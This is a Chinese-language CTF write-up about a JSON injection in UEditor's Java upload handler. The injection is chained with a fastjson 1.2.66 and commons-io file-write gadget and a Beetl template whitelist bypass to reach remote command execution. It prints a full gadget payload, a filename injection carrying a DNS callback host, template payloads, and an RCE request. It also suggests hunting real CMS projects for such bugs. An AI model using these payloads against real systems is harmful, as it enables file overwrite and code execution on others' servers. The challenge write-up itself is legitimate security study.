文章首发于先知社区,传送门

TL;DR

前段时间给venom招新赛出了两道题,其中的java题源自去年审计ueditor源码时发现的一个小问题,感觉有希望产出一些漏洞,接着探索了一下发现确实有洞。因为利用过程太过ctf了,并且相对简单所以理所当然做成了一道ctf题目。

ueditor的JSON注入隐患

你好 ueditor

ueditor2023年在github上停止维护,实际上五年前就不在更新了。在java版本当中,官方给出了上传文件的标准用法,即调用String json = new ActionEnter(request, rootPath).exec(),正常来说后端直接返回json字符串即可。

但是,如果开发者想修改返回的属性(增删几个key)的话,还是会用JSON解析库解析json,如果在json字符串(部分)可控的情况下,此时可能会出现安全问题。大概扫了一眼国内的CMS引入ueditor还挺多的,师父们可以看看有哪些cms调用了ueditor并且进行不安全编码规范导致漏洞触发,没准能刷点0day

喜提忽略一枚:

1708169914163

隐患分析

潜在隐患,也就是sinkcom.baidu.ueditor.define.BaseState#toString方法中,new ActionEnter(request, rootPath).exec()实际上调用的就是该方法。

其主要逻辑是对map进行遍历,把keyvalue进行处理最终制作成JSON字符串形式。
其中keyvalue+进行拼接,如果keyvalue可控的话可能会导致json注入问题。

Alt text

我们来找一下keyvalue是否可控,ActionEnter#invoke方法调用了state#toJSONString,可以看到当ActionMapUPLOAD_FILE(文件上传)操作时会触发 Uploader#doExec

Alt text

接着看Uploader#doExec的逻辑,这里会根据是否base64调用不同类的save方法。当操作为UPLOAD_FILE时配置类ConfigManagerisBase64false,所以Uploader#doExec触发BinaryUploader#save

case ActionMap.UPLOAD_FILE:
    conf.put("isBase64", "false");
    conf.put("maxSize", this.jsonConfig.getLong("fileMaxSize"));
    conf.put("allowFiles", this.getArray("fileAllowFiles"));
    conf.put("fieldName", this.jsonConfig.getString("fileFieldName"));
    savePath = this.jsonConfig.getString("filePathFormat");
    break;

Alt text

继续审计BinaryUploader#save函数,可以看到originFileName是由上传表单的filename控制的,找到了可控点。值得注意的是程序校验了后缀名,这很好绕过。令filenamefilename=flag","vulnerable":"hacked","a":".txt即可绕过检测。最终会把originFileName放进BaseState当中。

Alt text

接着触发toJSONString通过拼接把恶意字符处理为字符串,也就是开头提到的sink

Alt text

发现以上函数调用可以通过/ueditor路由触发,其中返回的json为恶意字符串,最终把json传给了uploadService#uploadHandle。因此我们可以看看uplodaHandle方法干了啥,使得一个JSON注入隐患最终造成远程命令执行。

image-20240217194225885

漏洞触发思考

到目前为止仅仅是存在一个隐患,如果开发者没有解析JSON字符串那么不会造成真正的危害,当时想应该有两个利用面。

  1. 直接使用fastjson#parse解析该字符串,倘若fj的版本较低,那么可以RCE
  2. 需要观察开发解析字符串后的逻辑,比如开发自己实现了备份文件的功能,而备份文件的路径取自filepath之类的,此时利用JSON注入注进去一个同名属性filepath,可能会覆盖点原有的filepath从而造成任意文件上传。

利用

当时确实找到了几个洞,其中star最多的cms被我修修改改做成了这道题,实际上就是低版本fastjson解析的问题啦。接下来就复制粘贴wp了。

题目只有登录,文件上传功能。

其中IndexController处理登录逻辑,不存在注入问题。

UploadController要求登陆用户为admin才能上传,弱口令admin/admin即可登录。

public String upload(HttpServletRequest request, Model model, HttpSession session, @RequestParam(value = "action",required = false) String action) throws URISyntaxException {
    String user=(String) session.getAttribute("user");
    if(!"admin".equals(user)){
        model.addAttribute("message","no way");
        return "upload";
    }
    if(action == null){
        model.addAttribute("message","传个文件吧");
        return "upload";
    }
    String json = new ActionEnter(request, UploadController.class.getResource("/").toURI().getPath()+rootPath).exec();
    String contextPath = request.getContextPath();
    // 文件处理
    String handlerOut = uploadService.uploadHandle(action, json, contextPath);
    model.addAttribute("message",handlerOut);
    return "upload";
}

真正处理文件上传逻辑在new ActionEnter(request, UploadController.class.getResource("/").toURI().getPath()+rootPath).exec();,即调用了ueditor提供的函数来实现文件上传,而UploadServiceImpl#uploadFileHandler方法仅仅是多加了一个返回字段。

我猜有些师傅看到文件上传就会想到上传btl来覆盖test.btl等模板来打模板注入RCE,但ueditor的文件上传逻辑限制的比较死。一方面是通过config.json来限制了文件后缀,不能上传btl;另一方面也没法目录穿越。

所以很快就能发现UploadServiceImpl#uploadFileHandler方法十分可疑。这里通过parseObject处理outJsonString字符串,再看一眼fj的依赖不是最新的,当时也是给出了提示,很明显sink就在这里。

protected String uploadFileHandler(String outJsonString, String contextPath) {
    State state = null;

    JSONObject json = JSON.parseObject(outJsonString);
    if (!"SUCCESS".equals(json.getString("state"))) {
        return "error";
    }
    json.put("author","squirt1e");

    return state == null ? outJsonString : state.toJSONString();
}

如果outJsonString可控就可以利用了,而outJsonStringueditor的方法返回的字符串,需要审计ueditor源码,就是上面那一部分。

fastjson common-io任意文件写

uploadHandle通过parseObject方法对恶意字符串进行解析,可以看到json已经被污染了。

Alt text

本题用到的fastjson1.2.66,版本不高存在利用的可能。观察pom.xml发现存在commons-io 2.7(多提一嘴ueditor.jar本身引入了common-io)。不难想到fastjson1.2.68结合common-io2.x可以打一个任意文件写入,构造原理可以参考su18发的博客。值得注意的一点是json的第一个属性"state":"SUCCESS“是不可控的,令filenameflag",{"@type":"java.net.Inet4Address","val":"bgb5eh.ceye.io"},"a":".txt即可正常恢复Java Bean

{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
    "@type":"org.apache.commons.io.input.TeeInputStream",
    "input":{
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer": {
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file": "/tmp/pwned",
        "encoding": "UTF-8",
        "append": false
      },
      "charset": "UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "closeBranch":true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
}

除了属性开头的坑之外还有好多坑,实际上ueditor Json injection那里大概看了没多久就审出来了,但是利用卡了我一天。。

第一点是fj调用构造函数存在随机性,而WriterOutputStream恰好有一堆很相似的构造函数,所以在构造的时候需要注意WriterOutputStream构造方法的第二个属性是charsetcharsetName,如果属性名称错误会报Exception in thread "main" com.alibaba.fastjson.JSONException: create instance error, null, public

public WriterOutputStream(Writer writer, Charset charset, int bufferSize, boolean writeImmediately) {
    this(writer, charset.newDecoder().onMalformedInput(CodingErrorAction.REPLACE).onUnmappableCharacter(CodingErrorAction.REPLACE).replaceWith("?"), bufferSize, writeImmediately);
}

public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately) {
    this(writer, Charset.forName(charsetName), bufferSize, writeImmediately);
}

第二点是该方法(应该)仅支持绝对路径文件写入,MiscCodec中限制了相对路径写入。不过题目应该会给docker所以选手到时候看docker里的模板路径就可以了。如果难度不够的话绝对路径这部分可以当个考点。

else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
    if (clazz == File.class) {
        if (strVal.indexOf("..") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) {
            throw new JSONException("file relative path not support.");
    } else {
        return new File(strVal);
    }

第三点是写不进去双引号",分号;之类的字符。这部分不是任意文件写这条gadget的问题,而是因为ueditor这里的JSON注入是个http请求头中的filename注入,所以写一些奇怪字符会导致http请求出现一些问题。结合beetl语法用parameter.a就能绕过了。后续在访问恶意模板时加个参数?a即可。

beetl模板RCE

这部分和本文主旨无关啦。

beetle国产模板实际上很好RCE(话说经过RWCTF thymeleaf那道题的洗礼后看啥模板都有自信了),模板支持java方法以及属性调用。并且防护类DefaultNativeSecurityManager就一个黑名单,翻翻issue就能找到payload,即便修了还是会有一大堆。

所以我参考patch写了一个看似无懈可击的白名单类。

只允许调用venom.elephantcms的方法,选手只能调用我自己写的方法,而往下翻翻就找到了这个类居然有个test方法可以重新定义callPattern白名单,callPattern我故意没写final修饰。

public class WhiteListNativeSecurityManager implements NativeSecurityManager {
    public static Pattern callPattern = null;
    public WhiteListNativeSecurityManager(){
        allow(Arrays.asList("venom.elephantcms"));
    }

    @Override
    public boolean permit(Object resourceId, Class c, Object target, String method) {
        if (c.isArray()) {
//            WhiteListNativeSecurityManager.class.getClassLoader()
            // 允许调用,但实际上会在在其后调用中报错。不归此处管理
            return true;
        }
//        Runtime.getRuntime()
        String name = c.getName();
        String className = null;
        String pkgName = null;
        int i = name.lastIndexOf('.');
        if (i == -1) {
            // 无包名,肯定安全,允许调用
            return true;

        }

        return  callPattern.matcher(name).matches();

    }
    public static String test(String test){
        allow(Arrays.asList(test.split(",")));
        return "ok";
    }

    /**
     *  指定白名单,默认是java.util
     * @param calls ,调用,如 [java.util,java.io.File]
     */
    public static void allow(List<String> calls){
        StringBuilder sb = new StringBuilder();
        for(String pkg:calls){
            int c = pkg.lastIndexOf('.');
            boolean classCall = false;
            if(Character.isUpperCase(pkg.charAt(c+1))){
                classCall = true;
            }
            if(classCall){
                sb.append(pkg.replace(".","\\."));
            }else{
                sb.append(pkg.replace(".","\\.")).append("\\..*");
            }

            sb.append("|");
        }
        sb.setLength(sb.length()-1);
        callPattern = Pattern.compile(sb.toString());
    }


//    public static void main(String[] args) {
//
//        {
//            test("java.lang");
//        }
//
//    }

}

能自己定义白名单类的话就随便绕了。

总结

思路很明确:通过构造恶意的文件名打一个JSON注入攻击parseObject覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/test.btl,第一次文件写入调用test方法覆盖白名单多放点包路径。

${@nese.elephantcms.common.WhiteListNativeSecurityManager.test('org.springframework,java.beans,venom.elephantcms')}

第二次文件写入覆盖upload.btlRCE即可。

${@java.beans.Beans.instantiate(null,parameter.a).parseExpression(parameter.b).getValue()}

/upload?a=org.springframework.expression.spel.standard.SpelExpressionParser&b=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('{command}').getInputStream()).next()

不过还有个坑点就是第二步覆盖的模板不能是test.btl了,可能是缓存的原因导致即便写入第二次的payload访问模板还是会执行第一次的payload

梭:

1708172558206

非预期

“随便打打”师傅在比赛过程中做出了这道题,用的是fastjson mysql任意文件读出来的flag,我觉得只要审出来json拼接就算是预期。另外其实任意文件写jsp也可以(属实是小丑了),不过由于挖的那个dayjfinal框架写的,filter过滤了jsp,不过也有办法绕过就是了。
关于jspwebshell需要分号;的问题(写不了分号的原因在上面提到了),我当时是没有解决所以这里预期解是覆盖.btl模版。现在想想应该有方法解决,之前读RFC标准的时候好像看到有可以url编码请求头的操作。

自动化思路

github是支持代码搜索的,所以我们可以通过github提供的搜索接口来寻找引入ueditorjava项目,但显然国内的cms引入ueditor会多一些,但可惜gitee上不提供代码检索功能,即便如此,我还是找到了一百多个项目。

第二步就是简单的污点分析,这一部分偷懒就命令行调semgrep来做(其实是不会),最后发现漏洞还是挺少的。。不过也算是一次尝试吧。